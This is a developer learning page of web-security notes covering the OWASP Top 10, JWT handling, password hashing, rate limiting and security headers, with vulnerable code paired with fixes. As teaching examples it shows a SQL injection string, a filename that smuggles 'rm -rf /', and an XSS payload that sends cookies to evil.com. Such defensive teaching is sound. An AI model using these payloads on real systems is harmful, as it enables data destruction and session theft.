All topics
Frontend · Learning hub

Web-security notes for developers

Master Web-security with a curated set of 2 developer notes — core concepts, patterns, and interview prep. Maintained by the DevRecall team.

Save this stack to your DevRecallMore Frontend notes
Web-security

OWASP Top 10 & Common Vulnerabilities

OWASP Top 10 & Common Vulnerabilities 1. Injection (SQL, Command, LDAP) // VULNERABLE — SQL injection const query = `SELECT * FROM users WHERE email = '${email}

OWASP Top 10 & Common Vulnerabilities

1. Injection (SQL, Command, LDAP)

// VULNERABLE — SQL injection
const query = `SELECT * FROM users WHERE email = '${email}'`;
// Input: ' OR '1'='1  → returns all users

// SAFE — parameterized queries
const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);
// ORMs (Prisma, TypeORM) are parameterized by default

// VULNERABLE — command injection
exec(`convert ${filename} output.jpg`);
// Input: file.jpg; rm -rf /

// SAFE — avoid shell, use arrays
execFile('convert', [filename, 'output.jpg']);

2. XSS (Cross-Site Scripting)

// VULNERABLE — rendering user input as HTML
element.innerHTML = userInput;
// Input: <script>fetch('evil.com?cookie='+document.cookie)</script>

// SAFE — use textContent or escape
element.textContent = userInput;       // no HTML interpretation
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);  // sanitize rich HTML

// React is safe by default — JSX escapes values
// {userInput} is safe; dangerouslySetInnerHTML is not

// CSP header — prevent inline scripts
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'

// HttpOnly cookie — JS can't access it
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

3. Broken Authentication

  • Use bcrypt/argon2 for passwords — never SHA1, MD5, or plaintext

  • Enforce minimum password length (8+), breached password check (HaveIBeenPwned API)

  • Rate limit login attempts — lock after 10 failures per minute

  • Short-lived JWTs (15 min), rotate refresh tokens on use

  • Implement MFA for sensitive operations

  • Generic error messages — "Invalid email or password" (don't confirm which is wrong)

4. Insecure Direct Object References (IDOR)

// VULNERABLE — any user can access any order
GET /orders/12345
const order = await db.orders.findById(orderId);
return order;

// SAFE — verify ownership
const order = await db.orders.findFirst({
  where: { id: orderId, userId: currentUser.id }  // check ownership
});
if (!order) throw new ForbiddenError();

5. Security Misconfiguration

  • Disable debug mode, stack traces, and GraphQL introspection in production

  • Use HTTPS everywhere; HSTS header; no mixed content

  • Remove unused dependencies, endpoints, and sample code

  • Never commit secrets — use environment variables or secret managers

Security Headers

# Essential HTTP security headers
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

# CORS
Access-Control-Allow-Origin: https://myapp.com  # never * for authenticated APIs
Access-Control-Allow-Credentials: true

# Use helmet (Node.js)
import helmet from 'helmet';
app.use(helmet());
Web-security

Auth Patterns & Secure Coding

Auth Patterns & Secure Coding JWT Security // JWT best practices // 1. Use RS256 (asymmetric) for multi-service environments // 2. Short expiry for access token

Auth Patterns & Secure Coding

JWT Security

// JWT best practices
// 1. Use RS256 (asymmetric) for multi-service environments
// 2. Short expiry for access tokens (15 min)
// 3. Store refresh token in HttpOnly cookie, access token in memory
// 4. Validate: signature, expiry, issuer, audience
// 5. Include jti (JWT ID) for revocation

import jwt from 'jsonwebtoken';

function generateTokens(userId: string) {
  const accessToken = jwt.sign(
    { sub: userId, type: 'access' },
    process.env.JWT_SECRET!,
    { expiresIn: '15m', issuer: 'myapp', audience: 'myapp-api' }
  );
  const refreshToken = jwt.sign(
    { sub: userId, type: 'refresh', jti: crypto.randomUUID() },
    process.env.JWT_REFRESH_SECRET!,
    { expiresIn: '7d' }
  );
  return { accessToken, refreshToken };
}

function verifyToken(token: string) {
  return jwt.verify(token, process.env.JWT_SECRET!, {
    issuer: 'myapp',
    audience: 'myapp-api',
  });
}

Password Hashing

import bcrypt from 'bcrypt';

const SALT_ROUNDS = 12;  // balance security vs speed (10-14 typical)

async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}

async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}

// Argon2 (preferred, winner of Password Hashing Competition)
import argon2 from 'argon2';
const hash = await argon2.hash(password);
const valid = await argon2.verify(hash, password);

// Timing-safe comparison (prevent timing attacks)
import crypto from 'crypto';
function safeCompare(a: string, b: string): boolean {
  if (a.length !== b.length) return false;
  return crypto.timingSafeEqual(Buffer.from(a), Buffer.from(b));
}

Rate Limiting & DoS Prevention

import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';

// General API rate limit
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 minutes
  max: 100,
  message: { error: 'Too many requests, please try again later.' },
  standardHeaders: true,      // X-RateLimit-* headers
  legacyHeaders: false,
});

// Stricter limit for auth endpoints
const authLimiter = rateLimit({
  windowMs: 60 * 1000,       // 1 minute
  max: 5,                    // 5 attempts per minute
  skipSuccessfulRequests: true,
});

app.use('/api/', apiLimiter);
app.post('/auth/login', authLimiter, loginHandler);

// Additional protections
app.use(express.json({ limit: '10kb' }));  // prevent large payload attacks
app.use(helmet());                           // security headers
app.disable('x-powered-by');               // don't advertise Express

Secure Development Checklist

  • Scan dependencies for vulnerabilities (npm audit, Snyk, Dependabot)

  • Never log sensitive data (passwords, tokens, PII, credit card numbers)

  • Validate and sanitize ALL inputs at the API boundary

  • Use HTTPS for all communications (internal services too)

  • Secret rotation — rotate DB passwords, API keys periodically

  • Principle of least privilege — services/users get only what they need

  • Security code reviews — look for OWASP top 10 in PRs

  • Penetration testing — at least annually for production systems

Keep your Web-security knowledge sharp.

Save this stack to your personal DevRecall — add your own notes, track what you're learning, and share what you know with the community.

Get started — free forever